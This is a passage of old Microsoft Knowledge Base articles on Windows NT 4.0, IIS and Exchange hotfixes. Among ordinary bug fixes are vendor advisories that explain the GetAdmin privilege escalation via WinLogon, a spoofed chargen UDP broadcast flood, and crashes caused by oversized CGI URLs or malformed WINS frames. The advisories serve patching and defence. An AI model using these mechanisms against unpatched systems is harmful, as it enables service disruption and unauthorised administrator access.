SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q143484    [winnt]
TITLE   :Internet Information Server Services Stop w/ Large CGI Request
PRODUCT :Microsoft Windows NT Server; Microsoft Internet Information Server
PROD/VER:4.00: 2.00 3.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kberrmsg kbfile kbinterop nt32ap ntinterop NTSrv

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Internet Information Server versions 2.0 and 3.0
 - Microsoft Windows NT Server version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

Microsoft Internet Information Server services are stopped and a Dr. Watson
error, which references the Inetinfo.exe process, is generated.

CAUSE
=====

The Internet Information Server service stops when it receives a CGI
request from a browser that contains between 4 and 8 kilobytes of data in
the URL.

RESOLUTION
==========

To resolve this problem, obtain the hotfix below, or wait for the next
service pack.

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/
   hotfixes-postSP3/iis-fix

STATUS
======

Microsoft has confirmed this to be a problem in Internet Information Server
versions 2.0 and 3.0. A supported fix is now available, but has not been
fully regression-tested and should be applied only to systems experiencing
this specific problem. Unless you are severely impacted by this specific
problem, Microsoft recommends that you wait for the next Service Pack that
contains this fix. Contact Microsoft Technical Support for more
information.

Additional query words: 4.00 2.00 3.00 prodnt access violation iismisc
kbbug2.00 kbbug3.00

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q146965
TITLE   :GetAdmin Utility Grants Users Administrative Rights
PRODUCT :Microsoft Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbfile kbfix4.00 kbnetwork nt32ap ntsecurity NTSrvWkst

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

A utility, Getadmin.exe, is being circulated on the Internet that grants
normal users administrative rights by adding them to the Administrators
group. This utility can be run from any user context except Guest and
grants a local user account administrative rights.

This problem does not occur on Windows NT 3.51.

CAUSE
=====

Getadmin.exe works because of a problem in a low-level kernel routine that
causes a global flag to be set which allows calls to NtOpenProcessToken to
succeed regardless of the current users permissions. This in turn allows a
user to attach to any process running on the system, including a process
running in the system's security context, such as WinLogon. Once attached
to such a process, a thread can be started in the security context of the
process.

In the specific case of GetAdmin, it attaches to the WinLogon process,
which is running in the system's security context, and makes standard API
calls that add the specified user to the administrators group.

It is important to note that any account which has been granted the rights
to "Debug Programs" will always be able to run Getadmin.exe successfully,
even after the application of the hotfix. This is because the "Debug
Programs" right allows a user to attach to any process. The "Debug
Programs" right is initially granted to Administrators and should be only
granted to fully trusted users.

Also, if Getadmin.exe is run with an account that is already a member of
the administrators local group, it will still work (even after applying the
hotfix). This is by design. Members of the administrators group always have
the rights to make the calls GetAdmin needs in order to succeed.

RESOLUTION
==========

A fix to the Windows NT Kernel routine which was being used to set the
global flag has been developed by Microsoft. This fix prevents an
application, such as Getadmin.exe, from attaching to WinLogon (or any other
process not owned by the user) and from granting administrative rights to
users.

To resolve this problem, obtain the hotfix below, or wait for the next
service pack.

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/
   hotfixes-postSP3/getadmin-fix

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

Getadmin.exe must be executed locally and works for accounts on a
workstation or member server and for domain accounts on a primary domain
controller (PDC). The utility does not function on a backup domain
controller (BDC) because the account database on a BDC is read only. The
only way to use GetAdmin to modify a domain account database is to log on
to a primary domain controller and run the utility locally on the PDC.

For more information on Windows NT security, please see the following
Internet sites:

 - http://www.microsoft.com/security/
 - http://www.microsoft.com/ntserver/info/security.htm

NOTE: Because the Microsoft Web site is constantly updated, the site
address may change without notice. If this occurs, link to the Microsoft
home page at the following address:

   http://www.microsoft.com/

Additional query words: 4.00 prodnt security hole breach

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q147222
TITLE   :Group of Hotfixes for Exchange 5.5 and IIS 4.0
PRODUCT :Microsoft Windows NT, Exchange Server, IIS
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug kbfix4.00 kbinterop kbpatch ntinterop ntsrv

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Server Enterprise Edition version 4.0
 - Microsoft Cluster Server version 1.0
 - Microsoft Transaction Server version 2.0
 - Microsoft Internet Information Server version 4.0
 - Microsoft Exchange Server version 5.5
--------------------------------------------------------------------------

SYMPTOMS
========

Access Violation in Explorer.exe
--------------------------------

An Access Violation occurs in Windows NT Explorer (Explorer.exe) and other
applications while running Microsoft Transaction Server (MTS).

During server process (package) shutdown, an uninitialized hWnd stack
variable causes a broadcast message with invalid data. This causes
currently running programs (including Explorer.exe) to stop responding
(hang) or restart due to an Access Violation.

DCOM Fails with 80010111 When Client and Server are on Same Node
----------------------------------------------------------------

If a Distributed COM (DCOM) client and server are on the same computer and
the client uses anything other than the computer's NetBIOS name to refer to
the server, the call receives errors about invalid headers on packets.

The specific case that impacts Microsoft Cluster Server (MSCS) is when a
virtual server name is used. The virtual server name is registered with an
IP address that is bound to a node (computer) in the cluster. This is done
so the IP address can be failed over to another node in the cluster without
clients needing to know of the change.

The problem arises when a server on one of the computers uses the service
of another server in the cluster. If, because of failure or administrator
action, the two servers end up on the same computer, DCOM fails. The
virtual server name and IP address have to be used because the location of
the servers may change.

Windows NT 4.0 RPC Binds Hang When the Server Is Restarted
----------------------------------------------------------

When using RPC over TCP/IP, binds may hang if the server is restarted when
a bind is outstanding. It takes about two hours for TCP/IP to recover from
this.

IIS/ASP Security Context Becomes Corrupt Under Stress
-----------------------------------------------------

Under stress, a script that is supposed to run under the security context
of a specific user may run as System instead. Running under the wrong
security context can result in incorrect file access, incorrect component
availability, and incorrect component capabilities.

Potential Security Hole With Out-of-Process Applications
--------------------------------------------------------

If there are out-of-process Transaction Server packages using role-based
security, it is possible for someone who has access to the computer to
spoof the identity that the MTS package believes is calling the package.
The scenario described is extremely rare, but the fix eliminates the
possibility completely.

A side effect of this fix is that all out-of-process components configured
to "Activate as Activator" will now run under the context of the System
user, where formerly they would run under a non-deterministic user context.

RESOLUTION
==========

To resolve this problem, obtain the following fix or wait for the next
Windows NT service pack.

This hotfix has been posted to the following Internet location (do not
install the Roll-up hotfix if you have previously installed the Cluster
hotfix):

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/roll-up/

NOTE: The above link is one path; it has been wrapped for readability.

If you use Cluster Services with Microsoft Exchange Server version 5.5, you
must also install the Cluster hotfixes.

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/roll-up/cluster/

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed these to be problems in the products listed at the
beginning of this article. A supported fix is now available, but has not
been fully regression-tested and should be applied only to systems
experiencing this specific problem. Unless you are severely impacted by
this specific problem, Microsoft recommends that you wait for the next
Service Pack that contains this fix. Contact Microsoft Technical Support
for more information.

Additional query words: 1.00 2.00 4.00 k2

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q148427
TITLE   :Generic SSL (PCT/TLS) Updates for IIS and Microsoft Internet Products
PRODUCT :IIS | Windows NT | Site Server | Exchange
PROD/VER:3.0 | 4.0 | 3.0 | 5.0, 5.5
OPER/SYS:WINDOWS NT
KEYWORD :iissecurity kbfile kbinterop

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0 with Service Pack 3
 - Microsoft Windows NT Server, Enterprise Edition version 4.0
 - Microsoft Internet Information Server versions 3.0 and 4.0
 - Microsoft Site Server 3.0 Commerce Edition
 - Microsoft Site Server, Enterprise Edition
 - Microsoft Exchange Server 5.0 and 5.5
--------------------------------------------------------------------------

SUMMARY
=======

On June 26, 1998 Microsoft released an updated version of Schannel.dll.
This latest version provides the following benefits:

 - Resolves the vulnerability in SSL (Secure Sockets Layer) discovered by
   Daniel Bleichenbacher of Bell Labs. For more information, please see the
   following Microsoft Security Bulletin at:

      http://www.microsoft.com/security/bulletins/ms98-002.htm

 - Banks outside the U.S. and Canada can now use extremely strong 128-bit
   encryption.

 - Eliminates the need for separate SGC and non-SGC versions of
   Schannel.dll.

 - Corrects the "Bad Password" error message documented in the following
   article in the Microsoft Knowledge Base:

      ARTICLE-ID: Q179550
      TITLE     : Installing a Certificate in IIS May Result in Bad
                  Password Error

 - Includes an updated version of Sgcinst.exe that corrects the problem
   where SGCINST appears to execute but SGC does not work. For more
   information, please see the following article in the Microsoft Knowledge
   Base:

      ARTICLE-ID: Q180018
      TITLE     : SGCINST.EXE Appears to Execute but SGC Does Not Work

For more information on the Server Gated Cryptography (SGC), please go
to the following Microsoft web site:

   http://www.microsoft.com/security/sgc

MORE INFORMATION
================

Schannel.dll has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/hotfixes-postSP3/ssl-fix/

Residents of the US and Canada can download the North American (128-bit)
version of Schannel.dll from:

   http://mssecure.www.conxion.com/cgi-bin/ntitar.pl

Additional query words: 4.00 sp3 3.00 iis international banking win95 ie
internet explorer 3.02 4.01 "adaptive chosen cyphertext" cryptoanalysis
SSL2 PCT1 SSL3 TLS1 "Error Message Vulnerability"
============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q153296
TITLE   :Write Cache on IDE/ATAPI Disks Is Not Flushed on Shut Down
PRODUCT :Microsoft Windows NT
PROD/VER:3.51 4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kberrmsg kbfix4.00 NTSrvWkst ntstop

---------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server versions 3.51 and 4.0
 - Microsoft Windows NT Workstation versions 3.51 and 4.0
---------------------------------------------------------------------

SYMPTOMS
========

If your computer supports the shut down and power down feature, you may
experience one of the following problems:

 - CHKDSK runs as your computer starts and reports a dirty volume.

 - A blue screen appears and displays the following message:

      STOP 0x0000007B (parameter, parameter, parameter, parameter)
      INACCESSIBLE_BOOT_DEVICE

CAUSE
=====

Recent versions of IDE/ATAPI hard disk drives include a write cache. This
cache is normally flushed automatically depending on an algorithm by the
hard disk manufacturer. On computers that support the shut down and power
down feature, the power may turn off before the write cache is flushed.

RESOLUTION
==========

Windows NT 4.0
--------------

To resolve this, apply the fix mentioned below or wait for the next service
pack.

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/ide-fix

NOTE: The above link is one path; it has been wrapped for readability.

Windows NT 3.51
---------------

To resolve this, apply the fix mentioned below or wait for the next service
pack.

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT351/
   hotfixes-postSP5/ide-fix

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

Microsoft has confirmed this to be a problem in Windows NT version 3.51.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

The IDE/ATAPI specification does not define a command to determine if a
write cache is present or to explicitly flush the cache. The Windows NT
file system drivers modify the boot sector on startup to indicate a dirty
volume. On shut down, the last operation is to modify the boot sector again
to mark the volume clean. This last write is cached in the cache of the
disk. If the power is removed too early, this sector is not written at all
and the volume is still marked dirty. If the power disappears during the
physical write to the disk, the boot sector is corrupt and the blue screen
occurs.

The fix to this problem is to send an IDLE command to the drive as the last
command at shut down. This synchronous command ensures that the write cache
is flushed.

Additional query words: 3.51 4.00

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q154094
TITLE   :Using Iomega ATAPI Zip Drives with Windows NT
PRODUCT :Microsoft Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS
KEYWORD :kbbug4.00 kbfile kbfix4.00 kbhw ntdriver nthw NTSrvWkst

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

Windows NT cannot access the disk in the ATAPI version of an Iomega Zip
drive.

CAUSE
=====

Windows NT identifies the ATAPI version of the Iomega Zip drive as a floppy
disk drive and assigns it the first available floppy disk drive letter
(usually B). This problem does not occur with the IDE version of the Iomega
Zip drive as Windows NT properly identifies it.

RESOLUTION
==========

To resolve this problem, obtain the hotfix below, or wait for the next
service pack.

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/
   hotfixes-postSP3/zip-fix

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

MORE INFORMATION
================

The simplest way to tell the difference between the IDE and ATAPI versions
of the Zip drive is the fact that the IDE version works under Windows NT,
while the ATAPI version does not work without the hotfix. You can also
determine the type of Zip drive by examining the following registry key:

   HKEY_LOCAL_MACHINE\HARDWARE\DEVICEMAP\Scsi\ScsiPort0\ScsiBus0
      \Target ID X\Logical Unit ID 0

   NOTE: The Target ID is 1 or 2 for devices on the primary EIDE channel
   and 3 or 4 for devices on the secondary EIDE channel.

In this key you see an Identifier value which includes information on the
device such as the manufacturer, model number, and firmware revision. IDE
and ATAPI Zip drives have identical information in this value except the
firmware revision has a different format depending on the drive type:

 - The ATAPI drive firmware appears in the following format (note that the
   letter follows the number):

      IOMEGA  ZIP 100         23.D

 - The IDE firmware number has the opposite format (note that the letter
   precedes the number):

      IOMEGA  ZIP 100         B.29

Additional query words: 4.00 prodnt

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q154460
TITLE   :Denial of Service Attack Against WinNT Simple TCP/IP Services
PRODUCT :Microsoft Windows NT
PROD/VER:4.0
OPER/SYS:WINDOWS
KEYWORD :kbbug4.00 kbfile kbfix4.00 kbnetwork NTSrvWkst nttcp

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

As your computer is being attacked there may be a jump in bandwidth
utilization on a subnet containing Windows NT computers and performance may
suffer. A network analyzer shows a large amount of UDP traffic, typically
from port 19 (chargen).

CAUSE
=====

A malicious attack may be mounted against Windows NT computers with the
Simple TCP/IP Services installed. The attack consists of a flood of UDP
datagrams sent to the subnet broadcast address with the destination port
set to 19 and a spoofed source IP address. The Windows NT computers running
Simple TCP/IP services respond to each broadcast, creating a flood of UDP
datagrams.

RESOLUTION
==========

Windows NT TCP/IP, Windows Sockets, and Simple TCP/IP services have been
modified to be more attack resistant. Windows Sockets now supports a new
socket option, SO_BROADCAST, that can be set to allow the recvfrom() call
to pass broadcast datagrams to the application. The default for this option
is OFF. Previous implementations passed broadcasts datagrams to any Windows
Sockets application that issued a recvfrom() call. Additionally, the
chargen service and other Simple TCP/IP services have been modified to drop
any datagrams that have the source port equal to the destination port to
prevent "looping" attacks.

To resolve this problem, obtain the hotfix below, or wait for the next
service pack.

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/nt40/
   hotfixes-postSP3/simptcp-fix

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

Additional query words: 4.00 prodnt chargen attack

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q155701
TITLE   :Invalid UDP Frames May Cause WINS to Terminate
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbfile kbfix4.00 kbnetwork ntnetserv NTSrv nttcp

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

Invalid UDP frames directed to any computer running WINS raises an
exception in WINS causing it to terminate silently. When WINS is no longer
running, problems such as domain synchronization, browsing, or connectivity
may occur. The event log may contain the following error message:

   Event ID: 4119
   Source  : WINS
   Type    : Error

   Description:

   WINS got a packet that has the wrong format (for example, a label may be
   more than 63 octets).

RESOLUTION
==========

To resolve this problem, obtain the hotfix below, or wait for the next
service pack.

Microsoft has updated Wins.exe to correct this problem. If WINS receives
invalid frames, it logs the event mentioned above but it does not terminate
unexpectedly.

NOTE: Service Pack 3 must be applied to Windows NT 4.0 prior to applying
this fix.

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/winsupd-fix

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

Additional query words: 4.00 wins denial of service attack hangs port 137

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q156655
TITLE   :Memory Leak and STOP Screens Using Intermediate NDIS Drivers
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug4.00 kbfile kbfix4.00 kbnetwork ntnetserv NTSrvWkst

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Server version 4.0
 - Microsoft Windows NT Workstation version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

When intermediate (layered) NDIS miniport drivers are in use on Windows NT
4.0, you may experience one or both of the following:

 - A memory leak in kernel non-paged pool memory. Over time, memory may be
   depleted to the point where system stability is compromised.

 - You may receive the following blue-screen STOP error message with
   parameters that indicate the bad instruction is in the Ndis.sys driver:

      STOP: 0x0000000A (0x00000014, 0x00000002, 0x00000000, 0xFCBA1062).
      IRQL_NOT_LESS_OR_EQUAL (* Address fcba1062 has base at fcb95000 -
      NDIS.SYS)

CAUSE
=====

Intermediate drivers are typically add-ons that layer themselves over
hardware drivers as a filter to provide additional functionality, such as
data encryption or other value added services. The Ndis.sys driver included
in Windows NT 4.0 has been found to have some deficiencies when such
intermediate drivers are used.

RESOLUTION
==========

You can work around this problem by removing any unnecessary filter
drivers.

To resolve this problem, obtain the hotfix below, or wait for the next
service pack.

NOTE: Service Pack 3 must be applied to Windows NT 4.0 prior to applying
this fix.

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/ndis-fix

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
Contact Microsoft Technical Support for more information.

Additional query words: 4.00 bug trap

============================================================================

THE INFORMATION PROVIDED IN THE MICROSOFT KNOWLEDGE BASE IS
PROVIDED "AS IS" WITHOUT WARRANTY OF ANY KIND.  MICROSOFT DISCLAIMS
ALL WARRANTIES, EITHER EXPRESS OR IMPLIED, INCLUDING THE WARRANTIES
OF MERCHANTABILITY AND FITNESS FOR A PARTICULAR PURPOSE.  IN NO
EVENT SHALL MICROSOFT CORPORATION OR ITS SUPPLIERS BE LIABLE FOR
ANY DAMAGES WHATSOEVER INCLUDING DIRECT, INDIRECT, INCIDENTAL,
CONSEQUENTIAL, LOSS OF BUSINESS PROFITS OR SPECIAL DAMAGES, EVEN IF
MICROSOFT CORPORATION OR ITS SUPPLIERS HAVE BEEN ADVISED OF THE
POSSIBILITY OF SUCH DAMAGES.  SOME STATES DO NOT ALLOW THE EXCLUSION
OR LIMITATION OF LIABILITY FOR CONSEQUENTIAL OR INCIDENTAL DAMAGES
SO THE FOREGOING LIMITATION MAY NOT APPLY.


DOCUMENT:Q163251
TITLE   :STOP 0xA Due to Buffer Overflow in NDISWAN.SYS
PRODUCT :Microsoft Windows NT
PROD/VER:4.00
OPER/SYS:WINDOWS
KEYWORDS:kbbug kbbug4.00 kberrmsg kbfix4.00 kbpatch NTSrvWkst ntstop

--------------------------------------------------------------------------
The information in this article applies to:

 - Microsoft Windows NT Workstation version 4.0
 - Microsoft Windows NT Server version 4.0
--------------------------------------------------------------------------

SYMPTOMS
========

You may experience a STOP 0x0000000A on a Windows NT computer when copying
files via RAS over a SLIP (Serial Line Interface Protocol) connection.

CAUSE
=====

If the SLIP client sends a packet that is greater than MAX_MRRU, Windows NT
does not check for it and the buffer allocated overflows causing the trap.

RESOLUTION
==========

To resolve this problem, obtain the following fix or wait for the next
Windows NT service pack.

This fix should have the following time stamp:

   11/17/97  04:35p                57,744 Ndiswan.sys  (Intel)
   11/17/97  04:32p               103,728 Ndiswan.sys  (Alpha)

This hotfix has been posted to the following Internet location:

   ftp://ftp.microsoft.com/bussys/winnt/winnt-public/fixes/usa/NT40/
   hotfixes-postSP3/wan-fix/

NOTE: The above link is one path; it has been wrapped for readability.

STATUS
======

Microsoft has confirmed this to be a problem in Windows NT version 4.0.
A supported fix is now available, but has not been fully regression-tested
and should be applied only to systems experiencing this specific problem.
Unless you are severely impacted by this specific problem, Microsoft
recommends that you wait for the next Service Pack that contains this fix.
